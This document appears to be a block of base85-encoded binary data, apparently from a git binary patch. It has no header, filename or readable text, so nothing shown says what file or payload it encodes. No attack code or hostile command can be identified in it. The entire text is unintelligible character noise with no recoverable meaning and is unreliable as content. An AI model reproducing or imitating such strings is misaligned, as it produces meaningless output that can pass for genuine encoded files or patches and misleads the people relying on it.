zokj^~pInHdFsL`36{J@YjZPG_ArYA8bg(*)lyjMQ7BrI@u)n$MhBf>@&HgUn-d}WQMv}q}D5T)YbMrM0P;Pl>dG*w%_ucdTzN_(%%ko!XH%^jLZCn>_JS;KF zUE}hPkAodRBgvOXYROR$h!dXXDYiQFC^-0-2PTPaJF;nAFJBA`(}N@E>*X_G&)Q1p zq`*C?jY}`V(UA+jQyON=?g>2RGp<*8PYfCi$Qo*Bga7)y_if69YhqC6g6nUt!Io$E zjBkVgS7R2ekKpy@)*Ax|spt+6Nnn04dd;Pyn^VqqYgLpFdxZ`t@vdPxIFn17ato6q zr`#RODMBgym(+4&ScS%JMi#PILZP|bjGYKPRqe`4A@d`+Y%gB1d2JO8I_ zYJDHF@GV=kN740i+TMJ|$sI?-5>kAzlTdsXjemE-MUL+1duhF;rV97~i9y9fQ&4oz z6B5kblVY5a)9j<*y>%nrI}Po^Dl@vVkhuF;+TXJ20X$l_;3`v9@N)0;nX%zZQS1@h zkzU$>!OPn$_hOR#)nfCx#P`%IkjH`DZJ1#OLxo3TH7p(Ff_;f+yMP>dSmuQHm6)~) zL!LHr4Q{CxwLWCWBtrQO$O5-F`xdd)?rN*3YowNtN&l7OCB$&j5s%5=8dnTnD!lgB z2;g%uPY<>5wCyW{+imaBQ~_m>@F1`5wNvtbrFMIF=}ZAs2m|D8E?)zM5MEy=ae)kh z{b1U`tE`-uqqQf)3}3Y}(>`}d*U(C5Q2sl9HJ;(Ma2kpf%-Uk1Ol zkAjsdl~;+{QiWf9^`s@JD#`nn5LC}ze*f$&49P`iJ^rIE# zBE$XIVb7z99GP8h(-dyoMtvM^k27MP)EL;89V}irVb=;&JR(Bbl3;(8$D$h{HKt3b zOq<@pXYU!=?V+yT=R%$Ne1mfZN)-?>Mpn_;)hxvDVr#(W<^a$l?TRe7)?KGH$-}@RVGC7Y3|CcGzVqcby~>&JXU>aLr0y~)%Scv zQ8OQyPrN+V&@@dNcxI@~<}FhO$Us8A+Z*2FbMN10`ZBJK935zjk`_8blgqg-wUXk; z`a}8a*QE{p2XW7~JX216ZOs>AdFL;VLplt1*6Lye>l#!04fBr!1byy~eD($AXAD=9 zq{QZ@N`_U+45!Kkab{*J=l;C+smei$!1Lx=SVbvrI~mf}SFafF+@yo|iSL)acLabi zqz^7sX}U$rD-lepKdqx-`9flb!)t$%OZFS*c+6_{?uv%R(+Z+vep{Pe>R zrPak8!)PV}bf>bD^H#@VfR(9jg8Z&ZgRHQ4nSdcx;P!<32-Y9#h*(WtDgp_+pEd?J z70)ZCHdN)u{Hgy>LFxeh>*HQWMwXk#w1QdO2D_<^^eYk_ynw{ty;<>`Yzst9-)eH^ zPXboV=jDl(I>3b)bRx?67?LY7Xk6%$&$r=KGRZ(1;=vtg2Hs)gZ(wre$~p~0V?~^b zfGd1^t9*-{@8inN-Luzz1}*gsTCWQvG?jJ2fu{(G3oQytd;eSZWJ-PyzU|)W1PeXH?}JpJ_!7?@#;f z{^nDMF4nx?to|K}*9dYQe%o5d=I~tpM^Up+7MfS-qs%+uHzhV}^S;g|C>`0{4a@y? zUvV0}-R4zOMjxRSx6S_EFc0BZWjv}b8r%2T&rnuh_uXU4wsqU~!vrF||LQB=YO3Yj zy4Ke^_VN}F>|_`}UZho{xuAJ=Sx&2?dw5{3 z2y^chX!3?g@yZVWe%1s9K-7-<;Jmt(5Zzc>w|af3P*3W*p?ZYvRSSEn%L&Arf%4He zjLxjNE~UuF>3dTofLv1Axi}o}&e%96wpUDPb`+bx-MUn20788=PAR8L+prY;o$Gx8 za;EGecf>$;BK!^3Zwm5*p@-7klk+>{2P6z}us*UMo{^!L#ne4L14S%%fvkU146mTx zCO7-O#nQ(Zob_xt1@6~V6QN@ViLGFpFE z?_T`Yeli%Xfhm_dLFBYPSl8DpQ+D3^RE%U^U_kY~%kET)pwBNqL(6$BR*zl3)pLSI2Anv^Zo;cV=<66F4(!5`}XrkXhh&vOwd@7Zp#88qw1P4(GNZTwTVfFP4*( zlc*<^B3n5y8*VppO~c*ISHR1#C@8tjdk`XW(~~D)cG4 zU?KYMTD9@{*J~VAlmVw^4p!h(;YUZLBE@Z<2E_ia^l zo)X@X9l-U;2nk+Bev$RC7*0Mnj_dFhTo18fyRY)*EU@-bC2oAA5^%dc7@jW+JZ;XI zwVPOxd%dH5G8B=IrfT@`J#gW9Ol}9?S%+!4HyF&8X_~p3tEsvg&&c;4LjcjsxKF$( z4!-d}ae>iY+PTsrUle0Kd@zB^V068jw%32l!=4{#LAScP&@blULxy;bzr--5t)f%3 z(p_qPLTBC=DRJY|$5&vUqgEi|=_{yhX1n!jBiYc@nXG{KcW2SRf1l3}@uT!@*sJ0G zXF2+%fsxS4-i^0omoSR%UF8sbm=qYGKYgKX<#Mi}**+heuV za^yqF?Uu!KU$4@glg;E<^Ad81RM+ahO2!YU1;ECLMeaP(|q~<_%4ns$O?);V7 zSmpI$3N2t3*=b8d$~9ZszPJ20{|SRT`<0eP2^rmsgOt{Vq^Y?uin8cE-K&E=i$i?g ztkCUi=$e>-c3h@)=LfFw?+N>-OqEQxlB-xW6fGp(_qGkOgcue#e)nxfK_RGHD!v)3 z@u<=2sy7wXCIs0YJ;&H*+P`ifP;iQs1x8@1qno?DA?Hf}36Rb~rNjxJTB>S)g%paM^}@n0VU~adxc4A%Mq(b8~&j zyO3Qmy76e`6|eL3x!%N2o8bn}s$YyOE!yutulJG6yo|a-8I5}^Ch|)DGA`3ncl^ok zBPe)w%U=U^-Q4EMv~3ly?ZW-v)nZ-kj(4KyTCcj*I7!KOF-aa~!%!VxSFfcjUV4}1Dd1n`(B0VvEs4wL=+mPINGt80`PVUK*u9NK7Ukw zdeQ=vl^^k$475y7Sva6q1>5BVUJ=GJYwI18w&m6tXAaBVnG~;DGF59bkm%kF0&Ys|>r|1Gxnw4Fky70B>zE{KmxF-% z&$6_qdw7Ea$gN#&q&OsQZ1T=)V$7YBxBcf>jw=;Bes30ZYmJ)IX;tS>meUK>kpq{% zy}8=@ms>MVVNNO=Yp-V+rR}GvzP5j%=ETuz&sQZqisJ6rwy zt}f!H3u$3Dul5^Zq~Xr);NTYNnmfo}e`h-V2H|@_AvC8i~>|1G9*&Y#ZUNO_DTMXJi#@*=rblZj^^IfGd`}fD zce!vil{P>M^%*tk*DdSPYPvp~4bdRPz`zgDvf8q%)T+Jvzj{LK-UkAhn-nrcj3lntk{~D^V@w+DC7TsCI z$K9T;&}33J-aFsw44p`(u{jC!Qx(Pc>fBhMuU1PBQv6{=GzSb9;N5fvkUN+HM!nk-wn-No}J8vYYwq(eGy+HA;jBU7q49|*x8|RT+yWnnxz_> z8P-x%+kb^cut+mzOks+HNVw~6>6(3%{=R;86&`;*JN8~CLDA^NR3A@LGNgja<(d%V z!l`)jgS%*WDZPv}EB*@;zokB1f~5B(jqZApSHsoW|5ydJwF`1gPs9z!tQncA#Nrzm z6VA5YMEUdN%T>oPvvT(@!s}wtbiXI78E{Sb6wI>Ifre&271MSPz8z8f4*Km{e3b1k zlAXF(zp0ydJPz6+9_8#9>{V~pa8ho+FvT2IL>cR_WTMN*%gqmsL5$=4zUR&vn0M*> zdWSrhS9&x_mnmDoU5JAGK{BEoB_&GMaAQrPoO;_=DoA0w}*xl zF}wpkN~$`8XNuGmU~CXZO=vA*K(kf~)tM(yZ7aQE!%F++Kv#qk1TY`wy{>*9o`X`J z35tHGuH~9W_PKLfgSYt882{huXXf=L>$KRgskzCLn=l^nHGfbyel5a7&7D_<9>%5D z*Dtm4#cn&Er>@02E%R{k63w@N1f!Ip0eb;UBhEtg+)YF}ls}sEyDPH|>(xts+%D)+rcFH6oMbF_^aPX)Q#%?XksaX4le zo6#($>j@E7*e}KHwc_F#tMjn3nawTqZF-V|OR@#&AUXrMwp=j5%-v>Qt8?%HM7w~h z@q80ZKge@dzY&)}Df3O>*gD)FaWap?Eze`neJdn)bbwAX#u&)VLemZIVwzOG z%pJ_KEv=TpSov%`Zcq2Z7<^wV9h42l9U;{j-CZ2Ic1raHu^7ybAaybj#ve4_Zd+aj zi{97%!N(#o$HhS7g&O)e^xRbqz7S3oqAUB0!5TG%KW^H`FDeu5Oh);V60m`!LY~Hg z$*#6C8C_4qc7^A?iBh6*N2m2CEy?-CA6!piR4Ha2q_N*dzHN6tap$&IGNl6f<7TsP zW<^th8W}c}Lef$K63C?Rlh1pq(Ncmfc_LIdOt9ix=CqB#g;W)|qJ(@~aMex>dj;UE zWiiX!{e0ONUF}P8JY4LqC~GcFV_;=Luwq28l`fGESgBB;hv~u8+{-lkRTA_nF>Tp3 z@t^Bw*Dbs$}V~==T zdZ=!Jd{plI+0cxnsi$?{r;JtDw=yG*3mR*fh}5r%JEMlNL1`kw!tB}nu_929LgBd~ zJ8nXeLdj;ZOPJEgVGQb@4dU;5EN%nw)%K~%s3{E)$o;4gzT8jZ?Zv^t!_mh1bCA}d ztpYv6qrlsBEx9LO;tBL2)%@icTj!W{9eiVJm;Afb{*2A3ZEsx9-e^hg+M=5=gRj45qX{RP_p znzZow3;d)fubbBqwEqGfo!g~p|LfF^LE@PT963h$8I`M23EZJP38FSZ?Cn)(>Z^I7 z8V)duGUZFHr6eW%JjH5NQ!dwG)rtNTK1oDWC1da}Dwu}w1MiC)lTgHNgj42D8KxsB zOQ9t}nlc$6(@eR;!+ozmtZeJ{7gx6{JWl9muv_-mHvt?haNi*%0rr2OVL+QzM^EN6 zKI9<^ATD3-uX{HgC`_}s*{|URxA~eV2*Zk!l`)*wDEKUh?uTY- zo{T#6|3yD2CSee?oWFdUo$wwhIQYBHdR!1)>VB-5xrm7msvP(?xZcY{gu{Q(;VB@sTjNtv2BFmvLTT-n3!YJq+z{(LxqA(+)kZkua?c+~B*l z3oR()(b>kr!00maPSIGX3W{d4>e(%p(`$PvYa?rQ0+ne>9tJ$-?NOwWoLTOZucn}g zK$({U^Wikk^!srChlLknawe$B$BX4Q&^Y$h?F~~pTDYzapot?M;c#p>rJd2~JQE!^ zw5`VKkJ~xVsuT2zD{iD+-G-L$cx~W43Xsu64z=YPK1$Oh@$$CQDV0FS#adPHJ|1P0 zA<*D(L{uf3ZY&(C7)jVSbg_1cDf?~*KFU&U;Q74~__taW4}cs6v^0`vPCvhrZN}j3 zEG#3hUjLBS`&4eM^X7KG~9uOk_vP6U8nO30Pfh;Ii9E- zxmuts5nGfdE(qi~)y&Sg>P*1Q)FNj-C^6~G#gLC-Y5PBKik9a8OK$Uj&$&C@uLJ`4 zKTnMRd(Pbay+iw&PYQVCN6Sp%OAa;R|KRZMoBaQaEZ*N7-2L;1l2xSjXV_*1^SUarvs>Ln9`YRJD}UP0jff3!LngOFoZ($mf`b z0Gw+_c?fQPm4@LWcUD6AqY1ahIjbSFVC-A10|PNms*5KJ*g0XfPYW-Vu zzUQKq{;mq#cArHwb2vDn+W)9FO-$rDa{!USkFwA2&-wXN%pSRK#&(hz)iwYK> zGTrlZ6-z+7`*qGq%>nADTxhlJ+sfv@-aaBw=zr;L>wUc>@GblBaYE7YFGhsVq^<=y z2zr-jN}RavEhO5jQgSn;>Wcj~-Ntk6RA2V4`hnDKd`u(XoaYiRitw?Rs=$pi;1oaz zYX{wq4oGFWefiE#eYC|mS%4~N0c+CVx(v~nch!4lAKRB=rA*e5jc;J!7Em zxp-4lW?vEYA;odsC@t4~4EtdGDF_q}?r&U!Hx`}dRTO%%vJ=ly1tSwQ80pJ59h z1%+7%M1RvCY{G!xf~?nvS0A#HIil{2&)FV_dy;pA3J4UDHtWRMuZs(i9U$-Hr2ps^ zA5c0n8hQqR3+SaJxLRI?O~O3SUYR>Pc*z5itxJzjjNA@yeIz%B1jzh7vaE_1q4vZ~ zjWJX?{Iy3;r41Pb_j3WmpYHj{U;>O|BBJ|PE+DG0m&Qz-*kCtks%tw~j-K=bqoG>w zhn(9FmLi22x1bNnB`zX|3rO5hK993si#x^%O=_hKgQ8A+F`kzf^7GyXT2+x_6=^1( z-NWc!Ucmm!)K`UVfb@sd)kQuV zux^fd+q$Bmj}vP*nM_>djok7m2$)HBeHs3A1zwQ!W`QMKh|!C6bZrr)*^*M1XS!d9u?dERBSn{k#z5o8t z4j||85&j3Z3E1%9LE&<~E2Hl2K^OffS-oe-uRU&q7NQe8LGS9r(CdycnHS6q-r0O3 zIa_X)x7#@3j>Rk|_mXfsw;NYS0D&eVP+cgZ@uFCIZag|yu#T0%b}{q&tv4Nw<$SiV zX>lzW_=@U||3z^xB3R*#w>^~m-{-w+(TLzpx_V>%XL1AX&Whi{AmVR?ybV@juJV4^ ze~B*C@H_!{02n(Q3CiDl+6x#Q&rEf9rGJ#_dZ)oZW6mgu2~6^Scgk%drYm*P$_GZ> zyO|Oq0Pg#5al)%_fdj=T&tBv*&yP5EAC)JVp!NK(Jd}*a~`9ZZX1JNX}?hK zx_^WS$$et1_amhuDf{W`?d4D-ODJ1z&a&kU#lbx?XX5q$ytVifX@T>e8*!YrA>o|$ zRpzu~*aqaXlJ>Nwha7=Pkch4}RACtTup`Ok@f=kO{(d{ga}ENzHVF#U@@LE#&@U9r zyVp;+DL+-<&4j8<8aHEhe(m9{y~ow2lD+wjsr_Ar!r^F@hyc~qE`tBV+*?Mq)plK@ zbqYm_L$MYuUfiL@Dc0id5G+tMSfI28f;YHR3KVw_?oM!bhu{`8obh9!>wJqRarOJ?)U;Z&{D*|5-BmHN~(QucaDT;*|U)Rn# z)j^)Kz# zSkMS2Iaq)L!(MIoy~Ho;YuWChE;B_%U_)C3y+8<(8M-dHfFQ%aL%>w{zn-mZlg6Nq z=b|p}0}nOWOSYY{HKEL@Kdrn==mEKz!85p@-O-hLWzM81O7~l0B@_RiC?Q_~vPb4H z+J;UnO7Ht;8U$_S-H|@vvTCh%|_6jV|sTQ=*kM{-Ve-9ncAJpwmJCj$~D*~!j zmg;emZW)SO?fw)&DDZwR;%6dx_edog@_b9TF`YF&fps!;};eb4<(`=VS! znGwT7#;6PHemzr1>K`Tp)6JQIN}8ng)LPMvK=Z_36Q)X}=vAuS^8X*o{#T#~eP+<1 zRh(M2KmBJ}{QK+w4*1Uh2?)_=xqlLDe+MEp74+5kKPaFFq}oOrqa$x_DgLoH+iGNS zmZ&D>mmVLi=O->*D!wNl0)_pz0-A~Y-(jEDNCpIcBMTI(LC`W838(#`6HJukAYpr! z*~#$|eP37Qdnl77`j26oe^KrM^6l{rzDSRn7i#ih3|lwxafg#n<}dfa0?%|;wS6yI z-&DP)$E;te%ISKxODOK;w!rMtvpRK zoOtifW+ADTMNzJX_U{m&FIT>Qyu@Furh-tN0bK-3L0?}oN)ruev0$FP0(=z9*%h#q zjtPT&#z_-rQ!?$JFJt;J_vN=deYwrw&)V&>5tMAVf+Rrq-<~t01B3AMbH1uqkKw`6 z7WpM5c@x%bqUdu5-4-zT3D`|j*E4*U?E>=32kC<342!8Ez=P7ewyEQVg}9fKFfmYz z=vz5sH?1tzJM1vl|9Ig^e4_-&CH=Yk4)3LvT{So(iI-(OMDP z4#X5V!#jDo6B4CjKkZDLIpiLWaNQLH+Dm9p7OUKuD|!LtYS3T!eLdI4-N_>8X2Nf& zP+`7;q2gwLT+uvQ(Yjm6GgQL88anvu<56lUW8f#!qJ~66+LUSXm%3lxQ$KxG^Hl` z`)iZfqt5F2aO39Mvgwa0_v<%HMr89jCF#6;-SZ>L|5B+Q7-FHb4nzq415`HN52JT& zLq_RMCw1{g(`xgW=`WeRm&$kRy}QwDw=XZYB+d;cL6Ks|dqXU!S6ZxC$xeqD(Wwac z<|eSBms|}x3V2@++m6@SBfjBJO}ZREGKyy6%n!$Wxub$A?yC^=i(PByfNxclIG5Ze+{qN$b zRZ4I!wX4w1>ZB2MzTQr}{g~O3_xtenvT;gQ5Z#^netGz2Ch~wB!LaIvR?aEBUQVX! zX0=CmH8DJt5L=3`yIw^4$+iGP45gcb^?uADR((q5oxWTw43`UN6>t1@e4+F4tg$59EM$firbiv!_?5cBZI zM>XEJ9pSZ64_d$1*Xuj6YZY=-W@oc! z&Bz_F!_dq^q9Z`HC*{uFiqUO<`Ou=5Y}__n&(6n9F6KWORdnFRibYpx%g=GzQ!aoa z&1NDHbTg{9I~G(u#8;o?toNWVnh&RyeOpz@AMccO`zW^fmWnlyxU|EClJn=BUPXvO zb{ar>Q!6fvMb*?}S%r}9r;c8-qM-7J3_auC51O0GUS}ojXt}!U#IYrblGn7y)sTgo z#T^rhBU$YnVDec11jA2V{kb09@8$1GTB2GP?{WSP>Nq;@qHfa0Er5osg3fyVDekYg%D;|#nsGrR(31a)=CkFFvaZh2FUV*Ybz;7NH{vC3 zo%!q6Wm7b7?x}9w3td)L9DT)?%!b-NEXF-rjS2Q93y})E4Co#`x^9BZ#-lLC?tQUw=>gy&|G|eg|MqGoSm? zyo9+Dy=!`{+0{L4u3S3hLkU2JfVBigbH8eS?{pt9b;?RY-i}6(9^W?ZMe*Bqmwetp zmhIdQ9cZ@Sbu<*ersG$1+}Yh+UpQE6_QMbJLd>mUuFlyJWI>=#Uq zkfrnTRCqx^hjZXIced+7YYUL9`>Y4MOl>}ZskKnJ_1*epPim~Z%3I#Mk1PCWCwh-S z3j~LgGe1R&&753%Ks*dp_7cU)02ihF?A<;BHJ+IcgYz6IN?klm{|@RWOdTo2IRhTq zg^DVMzqrHIG=9-DIMwiBI4(_U|7JFhoGRJsXZMu=_uUsX%2(@+3pSLj+LVUe&L_X! z${3?WCfs82p}L{?r?BaA4G;I@abdT5*d-oK%^MXtf_rqs7*DO0obKwe9u=d)H;4|^ zeSK`;0$Ag&`miLJFKYZS92$OLOgND5uee@M&`Gt9a9ggpZ-Sq;9kFn zxtu3TooCdAC3XeKgY3Z)4ikuSCm%1K&CG4DY@Ly^+ zLf_Rg)_StEc9ovFWz0%HO?s#X?S{~|kf9@;3O zYhgvm89oMXN@6RCrE}jQ{tufzA*e3_jV!zTPgA%u= z06H%0_R>dn==NCn`U$}-TF>eDqOpPn-AtRR*V&`$5&6Z(c%+PyLBe&+Git}vf}FpLyA6};~N#Dex~0&U^(--2;{zS zEaS-0(qDh+3YJ?z7`f3j!`L2?js!U zttQ&{>oK716%IN)n++KfW@m~~coN2ixLl-Qj-{mhFFWPlQ{KAq;0gc1!-u#?lBm&5 zOFJy$l6gb=0te%gY0(*dTedKm8`8ZgjmaPUJq|dZF8b#4K?dh0W&Xi1dj5)#mQsU}t5bb^(e&LmkTeeLx6&jqJ~HPQ&H>JtMRxarBbj62 zbyd4L`jIm_uE4c?yA31OZ%9sD4)60H9uNq29sbRf^j^t<)xQqQ*H>sp087jBjmW!a8A7c5s|Y~|GGg7x06`Rt}-S5S2vL?_6~ z(XaVeWYKlow_rJkpB=4(GAb4^~5LfQEc`AwZE zs#6^Fs{QXZ?kaCB#(C;a!@eL`4+S#lMNMU=+r14#+V`%zKzZ8Cwh_m#^<*OpJ!z26`1Jb}6Nf?LSmDE~>YS-f zpNC;VZU~usw!*4wvu_QkX5r9Dp4mpZtm<=a=xLIH9;V&soqKRJJ>Uup6&>0$2(VD1NfQiC9G&r$j(} zp?Bt5Jqj1dRJ0%v3<=xO2FV~^d5ixp?S{K1xLnp0#fuC$0CxD7?>L{m+#ysg#&bDy zX?^`a33haf@D&bb(H4DFl34#GjTTG%^Rxmpw{57H9oxq^hpozhJf{^vgz<~P$@qRG z*&4`qW@U1vjPT~%e%s4VH<%70gg$9acUB=d5{2=!J42PppJoRTJw2Gq zj!969#vU*q)tePbUL^Y|y0xFN(AaskvZc)?(T^nWwfa~a=EIi#zmVXc%(+%yMUAQ* zR&b&|OiSdz%$ebJ_ZMp~V7cuo3qzx)#6n;36Y6XBw+&0(jkZd@X-rUwqZj&1a=chq zp7rkqP07dk7pCZUmb1Mw?!vo2Nc`0rGx}+}GdKRzb&_@Hr_V|M%$&Ir@$Ag+yC8sw zhc>9^zdPmcE8kQ7f6>zaeHUFFvDSQQTEy={0^4Tc-FS@&+)d)i$~{Ox8`S??Y2okD z2XO}ljxZhaHd|9n>oxw1e)gO}3O6tF&VxA(7)yo@TNbG{DwC^Fo{iw0G};~WYG?Jt zNB?*JD*`=uxT*Z=f>k*vxsS4gIk9i=zqFF0ke`$3&4+L#A~I!q>7vNkK9;U<|bJFg&U#sZ*UJw?9uQB>L>)t); z^MiB%kC;xI$tQX`m3m%s`5dGPMgO50;#{~jqd;5BUwUscG!6eJUHtWx{PJvRQ9b|L zcZ~{nB+9^xoOLlN@`je|s~^n1OvMg*caLZ-h|&D@SvE@uq|9Lwphmd)bTQDBO!oE5 zhO8UWwrlmKOLJJW@LAs`Yw(pUEqC^MjOuvfbRc@lbG81LJV?NV?QD4yulH6qeWca7 z$W%0qPaIT%le=A7gUETi`{ydnVEx^=xmxtD^&ir<-zw^$)8D^1m#$rbqjVT4|KA&q zlSwf~799LdBN<_MPXUV$UfRCvXQV>tZ5c>-vy`Kf_w_4X35_F0;~mTm>wT`>DUuU1 zmu|uJxtHu+Hp@ZLF#Qh48_Vtq+R03K@}X-rLz)hTNFcr!GQBLzytnMn`j|vKw zt_=pG`DT}iMaVoxq*W*FLvlW>!NL%=DRqJn<`5l zXL9uP@agf|O?q#aG8c$bHVBsfawR?e$}GaKWM^l|qNEDv6?CUq@>$;gK(RUGeQ14Q zK594ml|23SC{BADuR@~4gJ01Iuqe?CURW%A%g4;oZLv_<9kk#TzEkGWGM^dDNK2qM zJ(utz7*NRmM4GMU4Ll0(ZQL=bZB9D+P=(tsfIK>Z5YuG zO)rV$Av$bP6!QwBe9g6mXk4gDW2yMGI{n2u)1gt1{nh!!=qI42UjllSu{`}xdGzb6 z%{_m*iNE!?_sSENCQG}x8G(eJ{6K^iWY$SQJsQmX7GxB;Ik@NE3D7>W7B^k1_e~}b zd_ryRC)zlDcqS4Jpd8|y>2hJXqRG483!qDOZe7AjZ$7ii2<|ulFU_5IFLR0`d~LhR zD)TAcu8)HzzlrnrijYQJ?pZX%0g8494eRz0%!flFqUN7}#zEvYym#9$f!SRB-Ob2} zD^WVG6Je?Q8PrPc(`cl@?N!PNzGYu>*qx`=8ALF1#Mr7vlVT!7)U7kM6OS8k!-3m-P;fUdO`sLz6tk{?SQ*i`r5oXoi4L6igV(Nw+7$W8A$l!2r{`# z=2Lnf1y@z2OvD_*68We^-1NS#%rDu2WbfqU0xHyA=)2&XkFIaoQQLm;PYjPu{5eHT zOteew)ui~gqAV_$>^rU8@lnUL*$WC*W~Wz{X`@FW%5Mhc*^35b@Yo*q+Yrlq1nXu! z>UM9pI?s=F_qj>x7upW}$1{B&pvwn51VBNj&Xs|Xa)+gm;Y$0NNp&xj3h^T7rS7aw z=-G_I%x-y2?eBG0zAOE?UdYE2j!na+nNrVOVBMOlzl8GPja*p9?{j&3U{)9lQ=LJa zY$`MXN zZ$99q2{p1_8Os7nf$ZwOLOe2prdxO`+t zr&RQ`82t%5wd+bXK8>=Ay+#@fYE?TP?-I^1G~#5~bt5IPA@>Mmm1%Y`g{+0C`I~r( z{ek=B_{6d!1he+Vb`fGzh}fTOK(eUMLo{W4i2osR{Q#v?r}fIFTHiP=5_BH z9x68LYrGh%!Js`r1cVsQ;ia9*5;B!B?+oWV;$>^@>@A@6kCLWrmZ}3nvv^sv!^Qj# zY`va}teYJ!t}WTxw4QDd0DV@nC+yt2Vv0uk<=NTU*PSU?gCBrDqcp?1ZbmL7Ur&Yey?#+os7)Ps8R#*b&o-hYe&!oBb^7LSSDjl@aqOgTRhcKYOg9dXQPeha%3Jg#-`R{T#p( z#?*&1Z2uk1VAc1mfXP0Wu4X2yn1;@GN~RSgRs3?<&FeZurrnW&nxOA7%VX|7wbpLf zTjJa85;+%F7HufjW;rdNhwNsCT^wG3A1)`xj=q&gu2#qN+>>HWwUvL&C*WA^cExwR zppytC*kM|rLM$>w`TgS~V_u7s+Fjg-wxx{-er?cm&c_6Le1z%oM6s+uW4Nw6j~=?% zggh(g%t{Ysr$sCChezfBcOK9bzvX+Q>1o{j17F|s8dg8sCm$P68K0oxVcex?V$=_x z8k`Byw4`4Q?$w&;$O;!Xa;NZ@!Zfd3Es%NxA87SGWM}0v6bdT$rtcVCrbTS?;9GL8ew<|ads49nj{M=ycBKWTnW1g(?{2KY%^Rzw`6~X-uoxa^H0uQOPhLlX>wKQ>o|u(NkqjOV*) zUS^NvjwH#m)%=VLzoyNo%MSQCmS5RvY~cBQv4u0@eT5OqFg3!CzA6-kx2or)jh4@xArv4Z?mZdFgEJ@}SdB;^#`o#hJBXFH z!s*=>R{0A);(Zi}(e>70CAxXl1l_2x=ak=_5JUg_!nJk`XXfrnRDyv8t^Y>5-0oTp zXCw5_x`JA^_GuynxCiWv(F(@X0?q|W`?efx(x~&M8Tvcm} zP6~mh>skE#YQXj2r6~+662I+^Au-0tJ!Adf>b7CDiFNYi4S=~Wiq3+as6^u$-8Fqd zGAw7!!dOFNj+Oa*oGJCQSfPK_+dLHPld4Yn`|(6QId}zg*4Z;Qt;R9f^(#w&?zHkU z9a~H?mgq(THgod_<0A&Nv`|p!(4v{8wf!hK`Yzfidy;EZPbKaVi^sCAGFZ>mqsipU zjeGcjqp>;xe%X++7yrAlY-w2{Eq*JoZ$#f)UYAl5Lb1}Jcv@~=&9NGl!|Diq_rHB> zEpTAGAW{;l#^}!}hbzv6nWvXp>>^d=^{$1NX`$npTQSVWmrn<0Dvt51m>oE;Y*iz1 zGM8?=rjMQU+gUHqCx2;edq87T!+)TaaenY#INT9@7b`w*K!ww3M?IBR*=@oSaoz zu2y(VPG(kD(Xz1QScodO?r)?AmSP8kZ~Vl%Pf?F$#Hr>4G>q>y(9ZfRTG>VG^>Ld8 zJueKZ$Pq#XQSXbQ0+D7^yO zh{NJkKN0La<@7WR!}a$!x|6Z4v5nHd|nYn4uLKuvlJO7mfMZn` zsld;|w3Bs)@WnJ4fEG}MENA7(W_XZt!f1(IG-RQMNSYvWQA#f%=up3bt{g%KRqx+% zbR(Omwd&kxz>=u>7cRgVs<}|CTu21IHWV9f-NTwEigXxMJ6Ioq{Ob8WN=bW8 zX#-(%_w7z|$XehuVGPIVj#$1iAZSl46n8Q2jPU36Hcxz8j%rGURlt2fg1wlkwEbp) zqhH<64_!xw`gqEhULBDI7uEBAf@+8J<=vM}ZkNk^tV0{|l!mU}gMWrIPB99vrrhuT zoPzk=fkBaEGX_NUHpr1mxkzHxhFds5f6gIYbR)<~TeeU+cNqLYW*s%wYt9&f0x(p# zBKEN}%n_~MlTY&!Q_gt|veDS7s@UX%i#wCP2zK0NM_8KtP^xTX+Hlw2P1d8Fx`93}>?ObpEGaPuqO`>%&2Y0WGa!yi*}W@k-SS_F;T zP0wWt&r+D-*|9E3A)PWtQ|a&RW$Lvi76ds`j+BEGUzg$OPtB3GdkyPQ{M$0%yA@=@X^#^7rg8!g+*kVvYL>Dp;K+F5oq{h*D2^!y|zPMORz2FhJ+ zh%)>W+qD$PY|iC28Q^m4KRbJ=hNYN5hUWHixROZB`&E3ts%@!96cyT}oXu`L~gHvex2y+&N<@@cQxw zg;;9XZt7w4V){AuQeLdUq*6*d+f}6_Iwm4`DAmC_gyDy7p5xP%=b8ETCZ~>2PI>>e zi6Gc?{CI=L2ez@<*lpsL!7Bdh&&_sCP5r?2Z!szKJ)N97@lJi~)V##8$#L{ztLHT! zAr*>o#lX|M+8xJmk!BM^dl~9}cG0`LEgA@^kC;ze$pYig&%`cf=iNa*ajr)rq8_~M z$zj6Zq29OCMN9(r%Z@Y=+ynPZdk>B8g@3Ggf{o7n51X!UONO0|+r#x@XD^rZ!_hEH zTXZ86TQ+eCAr|e~vf}7Hs}OH0z=zqoODu+mu1*4n7L^Y7BY4UuE-pOW+-8!F>CK4= z#2S6uHS7I=)W z%UXtxvW=x^4oBfK<(h0`^;vYw&be$Fb7%q|a(lc6`~puAU5pExHuyNRq4jeE`<3BN zHrJ~&#;ACuuokRL!AHfO!<2<*p z$`f8{BfI=g=O4r6NvN;B)UrzX%*+|IZb)p^=rWX5SH&b~cwX&xv&Gr>)mHkNm7HU@ zllURmJr5Q^zQsqg#xI0#*<R&}pC*8Cy_QB3Xcu+{a{cld#Ad2rdZ zYe_S!HvpWE*}E$`o}EQ}#?{8G<)ziUglM2Z$T(7Y9T1`?R)3M?oTDoJbV_1>;namT zqTomw+j8JfB%>or!wSgG#Y~J<6wLHzCrAp zvrikWm3X{`;;x42UvZG>=n8QQ+IB|Rai}|Jq?r9mkBnAYL%dOFMvH2dH3c%B^!zS4 z;u5%;o*P(<{ zYJ8&ji1F(C_x&uGn(@g=UXId6Y9AA-AEa9SX9~Y+f8O!Ai1fP85KxAF+uOs6v-O%s zzF*AcVA0Udiow$CIK4G@wiDL$KM2Nfc_w3Yka?&ex_jms;T~mj{gUZL(yATO^T&uz!nEyTkco5i7~Pd_3KsjKH-^I34RpD-I@kz4ncnZV zAO90Tg%a4~I?g97PF3(oRMwxsmPss=nV{-$c`1C&=c=)Ay*0g)yNcVSG+O>G=!CMn zLel@&Syf9{V_8lBEi*SGydyb`F-^1MX<7tWH#GFWDK2y@8{VM>dT>NZ6wIZ-D6-VG z$kA1qdxrJr3EP~~{W`K{Zk(m=Otkw{X{SO!Hg&NlWYCgf1_K(cYN%grg%{79sQhdF zo+Z=61Z9rv6L@0Fz4&V?`H5O$?t0;13Zkx;#XXmwRguB@ya1qm>rW_z;Y!8RkVohw z-9c=XV>bZ4OU>@Q`8e;bn#h|I8I%Qsqam~Zy^OfXGBh)Z|43UZ*7JX{j8dhKqwsfJ zuw9pXJpV)#`relLrCTCO#V&$O966pJ-aST)FR)gre&dVMy-RQqYn9^4uYnw+miaD24Rct zYjzOtN#J*Ja$Wraw9J}f*}Uhvz63UaOr|GkNmY7>O;0&VbY8CKIBa;}% 